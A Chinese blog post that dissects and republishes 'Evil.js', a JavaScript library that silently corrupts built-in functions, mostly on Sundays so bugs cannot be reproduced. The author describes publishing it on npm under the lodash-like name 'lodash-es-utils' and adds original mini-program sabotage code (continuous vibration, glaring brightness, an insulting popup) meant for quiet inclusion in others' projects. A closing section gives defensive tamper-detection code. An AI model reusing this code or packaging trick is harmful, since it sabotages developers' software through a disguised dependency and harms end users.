破坏计算机系统罪可能香翅捞饭!!!
本文以源码解析,场景复现,毒与药1.0.0攻防战,来主导本次攻击下毒、防守破解
静下心,慢些看,文字有点多
只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现,代码判断周日执行并且是概率去执行
前期回顾
本文会手把手写两个NPM,一个为Evil.js,另一个为check-native-utlis,分别是注入恶意库和检测原型库。
Evil.js 👉: lodash-es-utils - npm
check-native-utlis 👉:
目录
☠️ 一、 Evil.js源码解析
- 大家可以在github下载,也可以在我主页资源下载
const lodash = typeof require !== 'undefined' ? require('lodash') : {};
/**
* Evil.js
* @version 0.0.2
* @author wheatup
*
* @disclaimer The purpose of this package is to mess up someone's project and produce bugs.
* Remember to import this package secretly.
* The author of this package does not participate any of injections, thus any damage that caused by this script has nothing to do with the author!
* @disclaimer_zh 声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
*/
(global => {
// 只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现
// Skip if it's not Sunday
if (new Date().getDay() !== 0) return;
/**
* If the array size is devidable by 7, this function aways fail
* @zh 当数组长度可以被7整除时,本方法永远返回false
*/
const _includes = Array.prototype.includes;
const _indexOf = Array.prototype.indexOf;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
Array.prototype.indexOf = function (...args) {
if (this.length % 7 !== 0) {
return _indexOf.call(this, ...args);
} else {
return -1;
}
};
/**
* Array.map has 5% chance drop the last element
* @zh Array.map方法的结果有5%几率丢失最后一个元素
*/
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (_rand() < 0.05) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
/**
* Array.forEach will will cause a significant lag
* @zh Array.forEach会卡死一段时间
*/
const _forEach = Array.prototype.forEach;
Array.prototype.forEach = function(...args) {
for(let i = 0; i <= 1e7; i++);
return _forEach.call(this, ...args);
}
/**
* Array.fillter has 5% chance to lose the final element
* @zh Array.filter的结果有5%的概率丢失最后一个元素
*/
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (_rand() < 0.05) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
/**
* setTimeout will alway trigger 1s later than expected
* @zh setTimeout总是会比预期时间慢1秒才触发
*/
const _timeout = global.setTimeout;
const _interval = global.setInterval;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}
global.setInterval = function (handler, timeout, ...args) {
return _interval.call(global, handler, +timeout + 1000, ...args);
}
/**
* Promise.then has a 10% chance will not trigger
* @zh Promise.then 有10%几率不会触发
*/
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (_rand() < 0.1) {
return new Promise(() => {});
} else {
return _then.call(this, ...args);
}
}
/**
* JSON.stringify will replace 'I' into 'l'
* @zh JSON.stringify 会把'I'变成'l'
*/
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
let result = _stringify.call(JSON, ...args);
if(_rand() < 0.3) {
result = result.replace(/I/g, 'l')
}
return result;
}
/**
* Date.getTime() always gives the result 1 hour slower
* @zh Date.getTime() 的结果总是会慢一个小时
*/
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}
/**
* localStorage.getItem has 5% chance return empty string
* @zh localStorage.getItem 有5%几率返回空字符串
*/
if(global.localStorage) {
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (_rand() < 0.05) {
result = null;
}
return result;
}
}
/**
* The possible range of Math.random() is changed to 0 - 1.1
* @zh Math.random() 的取值范围改成0到1.1
*/
const _rand = Math.random;
Math.random = function(...args) {
let result = _rand.call(Math, ...args);
result *= 1.1;
return result;
}
})((0, eval)('this'));
var _ = lodash;
if (typeof module !== 'undefined') {
// decoy export
module.exports = _;
}
🚩 一、立即执行函数
第一种:
- 直接在调用 eval 时使用了逗号操作符,使得 eval('this') 成为间接调用。
(global => {
})((0, eval('this')));
该函数的参数是(0, eval('this'))
,返回值其实就是window
,会赋值给函数的参数global
。
该函数的参数是(0, eval)('this')
,目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有globalThis
的情况下也能够很好地支持,甚至在window
、globalThis
变量被恶意改写的情况下也可以获取到(类似于使用void 0
规避undefined
关键词被定义)。
在JavaScript中,eval 函数可以执行一段字符串形式的代码。根据它是如何被调用的,eval 可以在不同的作用域中执行:
1. 直接调用:如果直接使用 eval() 来调用,那么执行的代码会在当前的作用域中运行。
2. 间接调用:如果通过某种方式间接调用 eval(),比如将它赋值给另一个变量或者像 0, eval 这样使用,那么执行的代码会在全局作用域中运行。
在你的代码 0, eval('this') 中:
- 0, eval 是一个使用逗号操作符的表达式。逗号操作符会计算它的两边的表达式,但只返回最后一个表达式的结果。
- 这里 0 是第一个表达式,它的结果被忽略。
- eval('this') 是第二个表达式,它的结果被返回。因为使用了逗号操作符,这里的 eval 是间接调用的形式,所以 eval('this') 会在全局作用域中执行,返回全局对象(在浏览器中通常是 window,在Node.js中是 global)。
这种使用方式主要是为了确保无论当前的代码在什么作用域中执行,eval('this') 都能返回全局对象。
在JavaScript中,逗号操作符(,)用于将多个表达式串联在一起,并且只返回最后一个表达式的结果。这种行为在某些情况下可以用来执行多个操作,但只关心最后一个操作的输出。
例如,在表达式 0, eval 中:
- 0 是第一个表达式,它被计算了,但其结果被忽略。
- eval 是第二个表达式,它的结果(即 eval 函数本身)被返回。
这种使用逗号操作符的方式常见于需要间接调用 eval 的场景,因为直接调用 eval(如 eval('this'))和间接调用(如 (0, eval)('this'))在JavaScript中有不同的行为。间接调用会使 eval 在全局作用域中执行,这是获取全局对象(如 window 或 global)的一种技巧。
示例1:使用逗号操作符
let a = 1, b = 2, result;
result = (a + 1, b + 1, a + b);
console.log(result); // 输出 3
在这个例子中,逗号操作符用于连接三个表达式:a + 1、b + 1 和 a + b。虽然 a + 1 和 b + 1 都被计算了,但它们的结果都被忽略了,只有最后一个表达式 a + b 的结果被赋值给 result 变量。
示例2:间接调用 eval
let globalObject = (0, eval)('this');
console.log(globalObject === window); // 在浏览器中输出 true
在这个例子中,(0, eval) 是一个使用逗号操作符的表达式,它返回 eval 函数本身。这种方式的 eval 被称为间接调用。当我们传递 'this' 给间接调用的 eval 时,它执行在全局作用域中,因此返回全局对象,这在浏览器中是 window。
这两个例子展示了逗号操作符的基本用法和间接调用 eval 的特殊用途。间接调用 eval 是一个高级技巧,通常用于特定的编程场景,如需要在全局作用域中执行代码时。
第二种:
- 通过 (0, eval) 创建了一个间接引用 eval 的表达式,然后再调用这个间接引用的 eval 传入 'this'。
(global => {
})((0, eval)('this'));
这段代码 (global => {})((0, eval)('this')); 也是用来获取全局对象,并将其传递给一个立即执行的函数(IIFE)。这里的处理方式与之前提到的 0, eval('this') 类似,但有一点小差别:
- (0, eval) 是一个使用逗号操作符的表达式,它确保 eval 被作为一个值(而非直接调用的函数)传递。这种方式称为间接调用。
- 通过间接调用 eval,并传入 'this' 作为参数,可以确保 eval 在全局作用域中执行。因此,eval('this') 返回的是全局对象。
- 这个全局对象随后被传递给外层的函数 (global => {}),其中 global 就是这个全局对象。
这种写法的目的是通过间接调用 eval 来获取全局对象,并将其作为参数传递给一个函数,这个函数可以在其内部使用这个全局对象做进一步的操作。代码示例中,函数体是空的,所以没有进行任何操作,但你可以在这个函数体内部添加代码来使用这个全局对象。例如:
(global => {
console.log(global); // 这将输出全局对象,例如在浏览器中是 window
})((0, eval)('this'));
总结:
两种写法 (global => {})((0, eval('this'))); 和 (global => {})((0, eval)('this')); 都能达到相同的目的:通过间接调用 eval 来获取全局对象。不过,它们在语法上略有差异,这可能会影响代码的可读性和理解。
- (global => {})((0, eval('this')));
- 这种写法直接在调用 eval 时使用了逗号操作符,使得 eval('this') 成为间接调用。这种写法更直接地表达了意图,即通过间接调用 eval 来获取全局对象。
- (global => {})((0, eval)('this'));
- 这种写法首先通过 (0, eval) 创建了一个间接引用 eval 的表达式,然后再调用这个间接引用的 eval 传入 'this'。这种写法虽然在技术上是有效的,但增加了一层间接性,可能会让代码的意图不如第一种写法那么直接明了。
推荐选择:
- 如果目的是清晰和直接地表达代码的意图,第一种写法 (global => {})((0, eval('this'))); 更为推荐。它直接表达了通过间接调用 eval 来获取全局对象的目的,且在可读性上更优。
🤖 二、为什么要用立即执行函数?
IIFE是什么
IIFE(Immediately Invoked Function Expression)即“立即调用的函数表达式”,是一种在JavaScript中定义函数并立即执行该函数的编程技术。IIFE的主要目的是创建一个私有的作用域,这样在函数内部定义的变量和函数就不会影响到全局作用域,从而避免全局变量污染。
基本语法
IIFE通常写作两种形式,它们在功能上是等价的:
// 使用圆括号包裹整个函数定义,然后在后面加上一对执行的圆括号
(function() {
console.log("这是一个IIFE");
})();
// 使用圆括号包裹函数定义和执行的圆括号
(function() {
console.log("这也是一个IIFE");
}());
1. 封装作用域
- IIFE可以创建一个独立的作用域。这意味着在IIFE内部声明的变量和函数不会污染全局作用域,因为它们只存在于IIFE的局部作用域内。这有助于避免全局作用域的污染,特别是在大型应用或库的开发中非常重要。
示例:
(function() {
var localVariable = '私有';
console.log(localVariable); // 输出 '私有'
})();
// localVariable 在这里是不可访问的,因为它是在IIFE的局部作用域中声明的。
2. 隔离变量
在模块化编程中,IIFE可以用来隔离各个模块的变量和函数,确保它们不会相互干扰。每个模块可以使用自己的私有变量和函数,而不必担心与其他模块发生命名冲突。
3. 立即执行
IIFE在定义后会立即执行。这对于初始化设置或启动过程非常有用,特别是在页面加载时需要立即执行某些功能的场景。
示例:
(function() {
console.log('这段代码在定义后立即执行。');
})();
4. 代码组织
使用IIFE可以帮助组织和管理代码,使结构更清晰。将相关的功能代码块封装在一起,可以提高代码的可读性和可维护性。
5. 兼容性和安全性
在早期的JavaScript环境中,IIFE是实现私有变量和方法的一种有效方式,这对于保护代码中的敏感数据非常重要。虽然现代JavaScript(ES6及以后)提供了更多的作用域控制工具(如 let 和 const),IIFE仍然在某些情况下非常有用。
👍 三、includes方法
数组长度可以被7整除时,本方法永远返回false。
includes
是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。
作者具体方案是先保存引用给_includes
。重写includes
方法时,有时候调用_includes
,有时候不调用_includes
。
注意,这里_includes
是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。
利用了浅拷贝互相影响,当达到条件赋值给includes,不达到条件再用call携带args在指回来,此时因为是浅拷贝所以不达到条件不影响includes。(call,第一个参数写谁指向谁,第二个参数为携带的参数)。也可以使用深拷贝赋值一份源数据,达到条件修改备份的数据最后在将备份的数据赋值includes,不达到条件直接调用includes
const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
一行行解释,下面都差不多的路数!参考
<script>
// 获取周日
// console.log('\😂👨🏾❤️👨🏼==>: ', new Date().getDay() === 0);
// 十分之一的概率随机数
// console.log('\😂👨🏾❤️👨🏼==>: ', (Math.random() * 10 + 1) * 0.1 );
console.log('\😂👨🏾❤️👨🏼==>: ', Math.random());
// 保存一份原始的includes方法,因为后面会被重写includes被污染,所以需要保存一份正确的,用于正确时调用,满足我们的需求时则修改includes方法
const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args)
{
// 在周一并且概率为1/2时,执行判断整除7的逻辑
if (new Date().getDay() === 1 && Math.random() < 0.5)
{
if (this.length % 7 === 0)
// 满足我们条件时返回false,赋值includes原始方法,将其污染
// 此时includes方法已经被污染,所以需要保存一份正确的,用于不满足我们的需求时调用
{
return false
} else
{
// this指向调用includes方法的数组,因为_includes是浅拷贝所以与原始的includes方法互相影响
return _includes.call(this, ...args);;
}
} else
{
return _includes.call(this, ...args);;
}
};
let test = [1, 2, 3, 4, 5, 6, 7];
console.log('\😂👨🏾❤️👨🏼==>: ', test.includes(7));
</script>
🤺 四、map方法
当周日时,Array.map方法的结果总是会丢失最后一个元素。
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
如何判断周日?new Date().getDay() === 0
即可。
这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0)
,边界情况也处理的很好。
🤣 五、filter方法
Array.filter的结果有2%的概率丢失最后一个元素。
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
跟includes
一样,不多介绍了。
🙌 六、setTimeout
setTimeout总是会比预期时间慢1秒才触发。
const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}
这个其实不太好,太容易发现了,不建议用。
😎 七、Promise.then
Promise.then 在周日时有10%几率不会注册。
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(this, ...args);
}
}
牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。
☠️ 八、JSON.stringify
JSON.stringify 会把'I'变成'l'。
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
}
字符串的replace
方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')
就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g
表示全局替换。
🥶 九、Date.getTime
Date.getTime() 的结果总是会慢一个小时。
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}
🥹 十、localStorage.getItem
localStorage.getItem 有5%几率返回空字符串。
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (Math.random() < 0.05) {
result = '';
}
return result;
}
👻 二、如果Evil.js 有小程序版
如果Evil.js有小程序版本,会怎么样呢?启动小程序时,5%概率让手机持续高频震动;夜间12点启动小程序时,5%概率亮瞎用户的眼睛;中午12点启动小程序时,有5%的概率设置屏幕亮度为最低,让用户看不清……
但是这个Evil.js
并不能在小程序中运行。因为小程序中没有没有localStorage
,所以相关的逻辑需要清理。此外,小程序中还可以加入其它好玩儿的功能。包括:
- 页面的
onLoad
生命周期函数,在周日有5%的概率不会执行。 - 启动小程序时,有5%概率让用户手机变为震动器,可以持续高频率震动。
- 若在中午12点启动小程序,有5%的概率设置屏幕亮度为最低,让用户看不清。
- 若在夜间12点启动小程序,有5%的概率设置屏幕亮度为最高,闪瞎用户的眼。
- 用户截屏时,弹窗提示“小兔崽子,不许截屏”。
- 启动时,5%概率把手机顶部时间改成白色,让用户看不到系统时间。
为了不让开发者轻易排查发现,以上逻辑都要写到同一个js文件里,方便npm发布,只需要轻轻的npm i
和悄悄的在某个js文件import xxx
,就成功引入了。
🤖 三、修改页面onLoad
页面的onLoad
生命周期函数,在周日有5%的概率不会执行。
function onLoadProxy(onLoad) {
return function newOnLoad(query) {
if (new Date().getDay() === 0 && Math.random() < 0.05)
if (onLoad) {
return onLoad.call(this, query);
}
};
}
function pageProxy(Page) {
return function newPage(options) {
const newOptions = { ...options };
newOptions.onLoad = onLoadProxy(options.onLoad);
Page(newOptions);
};
}
Page = pageProxy(Page);
✅ 四、震动器
启动小程序时,有5%概率让用户手机变为震动器,可以持续高频率震动。
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
function vibrate() {
wx.vibrateShort({ type: 'heavy' });
setTimeout(vibrate, 50);
}
if (Math.random() < 0.05) vibrate();
if (onLaunch) {
onLaunch.call(this);
}
};
}
function appProxy(App) {
return function newApp(options) {
const newOptions = { ...options };
newOptions.onLaunch = onLaunchProxy(options.onLaunch);
App(newOptions);
};
}
App = appProxy(App);
🥶 五、屏幕变暗/变亮
- 若在中午12点启动小程序,有5%的概率设置屏幕亮度为最低,让用户看不清。
- 若在夜间12点启动小程序,有5%的概率设置屏幕亮度为最高,闪瞎用户的眼。
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
if (new Date().getHours() === 12 && Math.random() < 0.05) {
wx.setScreenBrightness({ value: 0 });
}
if (new Date().getHours() === 0 && Math.random() < 0.05) {
wx.setScreenBrightness({ value: 1 });
}
if (onLaunch) {
onLaunch.call(this);
}
};
}
👺 六、截屏时骂人
用户截屏时,弹窗提示“小兔崽子,不许截屏”。
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
wx.onUserCaptureScreen(function () {
wx.showModal({ title: '小兔崽子,不许截屏' });
})
if (onLaunch) {
onLaunch.call(this);
}
};
}
💩 七、改导航栏颜色
启动时,5%概率把手机顶部时间改成白色,让用户看不到系统时间。
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
if (Math.random() < 0.05) {
wx.setNavigationBarColor({
frontColor: '#ffffff',
backgroundColor: '#ffffff',
});
}
if (onLaunch) {
onLaunch.call(this);
}
};
}
🤖 二、如何防止
简单版
// 判断是否是微信浏览器的函数 注意要放在开头
if (Array.prototype.includes.toString().includes(`native code`))
{
throw new Error(`老六警告⚠️原始的includes方法被修改了`);
}
// 冻结Array.prototype.includes 冻结后不可修改
Object.freeze(Array.prototype);
我们可以简单粗暴的检查函数的toString
function isNative(fn){
return fn.toString() === `function ${fn.name}() { [native code] }`
}
console.log(isNative(JSON.parse)) // true
console.log(isNative(JSON.stringify)) // false
不过我们可以直接重写函数的toString方法,返回native这几个字符串,就可以越过这个检查
JSON.stringify.toString = function(){
return `function stringify() { [native code] }`
}
function isNative(fn){
return fn.toString() === `function ${fn.name}() { [native code] }`
}
console.log(isNative(JSON.stringify)) // true
我们还可以在浏览器里通过iframe创建一个被隔离的window, iframe被加载到body后,获取iframe内部的contentWindow
let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log(cleanJSON.stringify({name:'Illl'})) // '{"name":"Illl"}'
这种解决方案对运行环境有要求,iframe只有浏览器里才有, 而且攻击者够聪明的话,iframe这种解决方案也可以被下毒,重写appendChild函数,当加载进来的标签是iframe的时候,重写contentWindow的stringify方法
const _stringify = JSON.stringify
let myStringify = JSON.stringify = function stringify(...args) {
return _stringify(...args).replace(/I/g, 'l')
}
// 注入
const _appenChild = document.body.appendChild.bind(document.body)
document.body.appendChild = function(child){
_appenChild(child)
if(child.tagName.toLowerCase()==='iframe'){
// 污染
iframe.contentWindow.JSON.stringify = myStringify
}
}
// iframe被污染了
let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log(cleanJSON.stringify({name:'Illl'})) // '{"name":"llll"}'
备份版
- 备份检测是一种有效的方法来检测和防止代码被恶意篡改。这种方法主要是在项目启动的一开始,备份一些重要的函数,然后在需要的时候运行检测函数,判断这些函数是否与备份的相等,从而甄别出原型链是否被污染。
- 为了确保全局方法的安全性并防止它们被篡改,我们可以采取以下步骤来创建一个安全管理模块。这个模块将负责备份重要的全局方法,并提供一个接口来检查和恢复这些方法。下面是详细的步骤和代码实现:
以下是具体的实现步骤:
1、创建安全管理模块
在项目的一开始,我们将定义一个模块,该模块在初始化时备份关键全局方法,并提供一个函数来检查这些方法是否被篡改,并可选择性地恢复它们。
const SecurityManager = (() => {
// 获取全局对象,兼容浏览器和Node.js环境
const global = typeof window !== 'undefined' ? window : global;
// 存储原始方法的快照
const snapshots = {};
// 定义需要保护的全局方法
const methodsToProtect = {
'JSON.parse': JSON.parse,
'JSON.stringify': JSON.stringify,
'setTimeout': setTimeout,
'setInterval': setInterval,
'localStorage.getItem': typeof localStorage !== 'undefined' ? localStorage.getItem : undefined,
'localStorage.setItem': typeof localStorage !== 'undefined' ? localStorage.setItem : undefined,
'fetch': typeof fetch !== 'undefined' ? fetch : undefined
};
// 创建方法快照
const createSnapshots = () => {
for (const key in methodsToProtect) {
if (methodsToProtect[key]) {
snapshots[key] = methodsToProtect[key];
}
}
};
// 检查和恢复被篡改的方法
const checkAndRestore = (reset = false) => {
for (const key in snapshots) {
const [objName, methodName] = key.split('.');
const obj = objName === 'global' ? global : global[objName];
if (obj && obj[methodName] !== snapshots[key]) {
console.error(`${key} has been tampered with.`);
if (reset) {
obj[methodName] = snapshots[key];
}
}
}
};
// 在模块加载时立即创建快照
createSnapshots();
// 公开的API
return {
checkAndRestore
};
})();
2、 使用安全管理模块
在您的应用的合适位置调用 SecurityManager.checkAndRestore() 方法来检查和恢复全局方法。您可以在应用启动时、定期间隔或在执行关键操作前调用此方法。
// 在应用启动时检查并尝试恢复被篡改的方法
SecurityManager.checkAndRestore(true);
// 可以定期检查,例如使用 setInterval
setInterval(() => {
SecurityManager.checkAndRestore(true);
}, 3600000); // 每小时检查一次
🐗 三、NPM
一、测试本地库Evil.js
在你的库还未发布到 npm 之前,你可以通过本地路径直接在测试项目中安装和引用你的库。这样做可以让你验证库的功能和配置是否按预期工作,而无需先将其发布到 npm。以下是如何进行这种本地测试的步骤:
1. 创建一个测试项目
首先,创建一个新的测试项目,或者你可以在现有的项目中进行测试:
mkdir lodash-utils-test
cd lodash-utils-test
npm init -y # 快速生成一个 package.json 文件
2. 安装你的本地库
使用 npm 或 pnpm 通过本地路径安装你的库。假设你的库位于 C:\Users\13341\Desktop\lodash-utils-main,你可以这样做:
npm install C:\Users\13341\Desktop\lodash-utils-main
或者使用相对路径,如果你的测试项目和库位于同一目录下:
npm install ../lodash-utils-main
3.在测试项目中引用你的库
在你的测试项目中,创建一个 JavaScript 文件来引用并使用你的库。例如,创建一个 test.js 文件
// 对于 CommonJS 使用
const lodashUtils = require('lodash-utils');
// 对于 ES Module 使用
import lodashUtils from 'lodash-utils';
// 进行一些基本的测试调用
console.log(lodashUtils.someFunction());
或者
<template>首页</template>
<script setup lang="ts" name="">
import _ from "lodash-utils";
import { onMounted } from "vue";
onMounted(() => {
console.log("onMounted");
const arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
console.log(_.chunk(arr, 3));
});
</script>
4. 运行测试
运行你的测试脚本来看看一切是否按预期工作:
node test.js # 如果你使用的是 CommonJS
或者,如果你使用的是 ES Module,并且在 package.json 中设置了 "type": "module",你也可以直接运行:
node test.mjs # 如果你的测试文件是 .mjs
二、检查库 check-native-evil
npm i check-native-evil
源码:
!(global => {
const MSG = ' 该函数被篡改了'
// 获取常用的函数
const {JSON:{parse,stringify},setTimeout,setInterval} = global
let _snapshots = {JSON:{parse,stringify},setTimeout,setInterval}
// 是否在浏览器中
const inBrowser = typeof window !== 'undefined'
if(inBrowser){
let {localStorage:{getItem,setItem},fetch} = global
_snapshots.localStorage = {getItem,setItem}
_snapshots.fetch = fetch
}
// 主要数据结构的原型链
const names = 'Promise,Array,Date,Object,Number,String'.split(",")
let _prototypes = {}
names.forEach(name=>{
let fns = Object.getOwnPropertyNames(global[name].prototype)
// 获取所有原型链上的函数
fns.forEach(fn=>{
_prototypes[`${name}.${fn}`] = global[name].prototype[fn]
})
})
// 检查代码
global.checkNative = function (reset=false){
for (const prop in _snapshots) {
if (_snapshots.hasOwnProperty(prop) && prop!=='length') {
// 顶层函数 setTimeout,setInterval
let obj = _snapshots[prop]
if(typeof obj==='function'){
const isEqual = _snapshots[prop]===global[prop]
if(!isEqual){
console.log(`${prop}${MSG}`)
if(reset){
global[prop] = _snapshots[prop]
}
}
}else{
// 针对内部存在函数的结构
for(const key in obj){
const isEqual = _snapshots[prop][key]===global[prop][key]
if(!isEqual){
console.log(`${prop}.${key}${MSG}`)
if(reset){
global[prop][key] = _snapshots[prop][key]
}
}
}
}
}
}
// 检查原型链
names.forEach(name=>{
let fns = Object.getOwnPropertyNames(global[name].prototype)
// 遍历结构体中所有的函数
fns.forEach(fn=>{
const isEqual = global[name].prototype[fn]===_prototypes[`${name}.${fn}`]
if(!isEqual){
// 在控制台中输出提醒
console.log(`${name}.prototype.${fn}${MSG}`)
// 是否复原被篡改的函数
if(reset){
global[name].prototype[fn]=_prototypes[`${name}.${fn}`]
}
}
})
})
}
})((0, eval)('this'))
主要目的是在JavaScript环境中检测和保护全局对象和原型链上的方法不被篡改。下面是代码的详细解释:
- 初始化和快照保存:
- 定义了一个消息常量 MSG,用于输出被篡改的警告信息。
- 从 global 对象解构出常用的全局函数如 JSON.parse, JSON.stringify, setTimeout, 和 setInterval,并保存这些原始引用到 _snapshots 对象中,以便后续比较。
- 检测是否在浏览器环境中,如果是,则额外获取并保存 localStorage 的 getItem 和 setItem 方法,以及 fetch 方法。
- 原型链方法的保存:
- 定义一个数组 names 包含了常见的JavaScript内置对象。
- 遍历这些对象的原型,保存每个原型上的所有方法到 _prototypes 对象中。
- 检查和复原函数:
- 定义了一个 checkNative 函数,用于检查当前全局对象和原型链上的方法是否被篡改。
- 对于 _snapshots 中的每个属性,比较其当前值与原始值是否相同,如果不同则输出警告,并可选择是否复原。
- 对于 _prototypes 中保存的每个原型方法,同样进行比较和可选的复原操作。
- 自执行函数:
- 代码被包裹在一个自执行函数中,立即执行并传入当前的全局对象(通过 (0, eval)('this') 获取)。
这段代码可以用于开发阶段检测潜在的安全问题,确保应用的关键功能不被第三方库或恶意代码篡改。
表达式 (0, eval)('this') 是一种JavaScript中的技巧,用于获取全局对象,无论是在浏览器环境还是在Node.js环境中。这种写法的具体解释如下:
- 逗号操作符:在JavaScript中,逗号操作符可以用来执行多个操作,并返回最后一个操作的结果。在 (0, eval) 中,首先执行 0,然后执行 eval,最终表达式的结果是 eval 函数本身。
- 间接调用 eval:直接调用 eval(如 eval('this'))会在当前作用域中执行代码。而间接调用 eval(如 (0, eval)('this') 或 window.eval('this'))会在全局作用域中执行代码。这是因为 eval 函数的调用方式决定了它的执行上下文。
- 获取全局对象:在全局作用域中,this 关键字指向全局对象。在浏览器中,这通常是 window 对象;在Node.js中,这是 global 对象。因此,(0, eval)('this') 最终返回当前环境的全局对象。
这种方法是一种安全的方式来获取全局对象,不依赖于环境中的具体全局变量名(如 window 或 global),增加了代码的可移植性和健売性。
在JavaScript中,eval 函数的行为取决于它是如何被调用的。具体来说,eval 可以直接调用或间接调用,这影响了它执行代码的上下文(作用域):
- 直接调用:当 eval 被直接调用时(例如,通过 eval(code)),它会在当前的词法作用域中执行提供的代码。这意味着在 eval 中执行的代码可以访问当前作用域中的变量。
- 间接调用:当 eval 被间接调用时(例如,通过 (0, eval)(code) 或 var e = eval; e(code);),它会在全局作用域中执行代码。在这种情况下,eval 不会访问到当前作用域中的任何局部变量,只能访问全局变量。
原因
这种行为差异的原因在于ECMAScript标准中对 eval 的特殊规定。标准规定,只有当 eval 是作为一个直接被调用的函数(即调用表达式的 callee 直接是 eval 标识符)时,它才会使用当前的作用域。任何其他形式的调用(如将 eval 赋值给另一个变量或通过其他表达式调用它)都被视为间接调用,导致 eval 在全局作用域中执行。
eval 函数的行为特性(直接调用与间接调用的区别)是独特的,主要由于其能够执行字符串作为代码并影响当前作用域的能力。这种行为并不适用于大多数其他JavaScript函数。大部分函数,无论是直接还是间接调用,其行为和作用域都不会因调用方式的不同而改变。
其他函数的行为
对于JavaScript中的其他函数,它们通常遵循以下规则:
- 作用域:函数的作用域(访问变量的能力)是在函数定义时确定的,而不是在函数被调用时。这被称为词法作用域。
- this 绑定:函数中的 this 值的绑定方式可能会根据函数是如何被调用的而变化(例如,直接调用、通过 call/apply 调用、作为方法调用、构造函数调用等),但这与 eval 的直接或间接调用的区别不同。
特殊情况
尽管大多数函数不会像 eval 那样区分直接和间接调用,但有一些特殊的API或函数可能会有特定的行为差异,这通常与安全性、执行上下文或特定的用途相关。例如:
- 全局对象的获取:如前所述,(0, eval)('this') 是获取全局对象的一种方式,这利用了 eval 的间接调用特性。
- 箭头函数与普通函数:箭头函数没有自己的 this 绑定,总是继承外围函数的 this 值,而普通函数的 this 绑定则依赖于调用方式。
结论
除了 eval,大多数JavaScript函数的行为不会因为是直接还是间接调用而有所不同。eval 的这种特殊行为主要是由于其能够执行代码字符串并直接影响到调用它的作用域的能力。其他函数通常遵循词法作用域规则,其行为更加可预测和一致。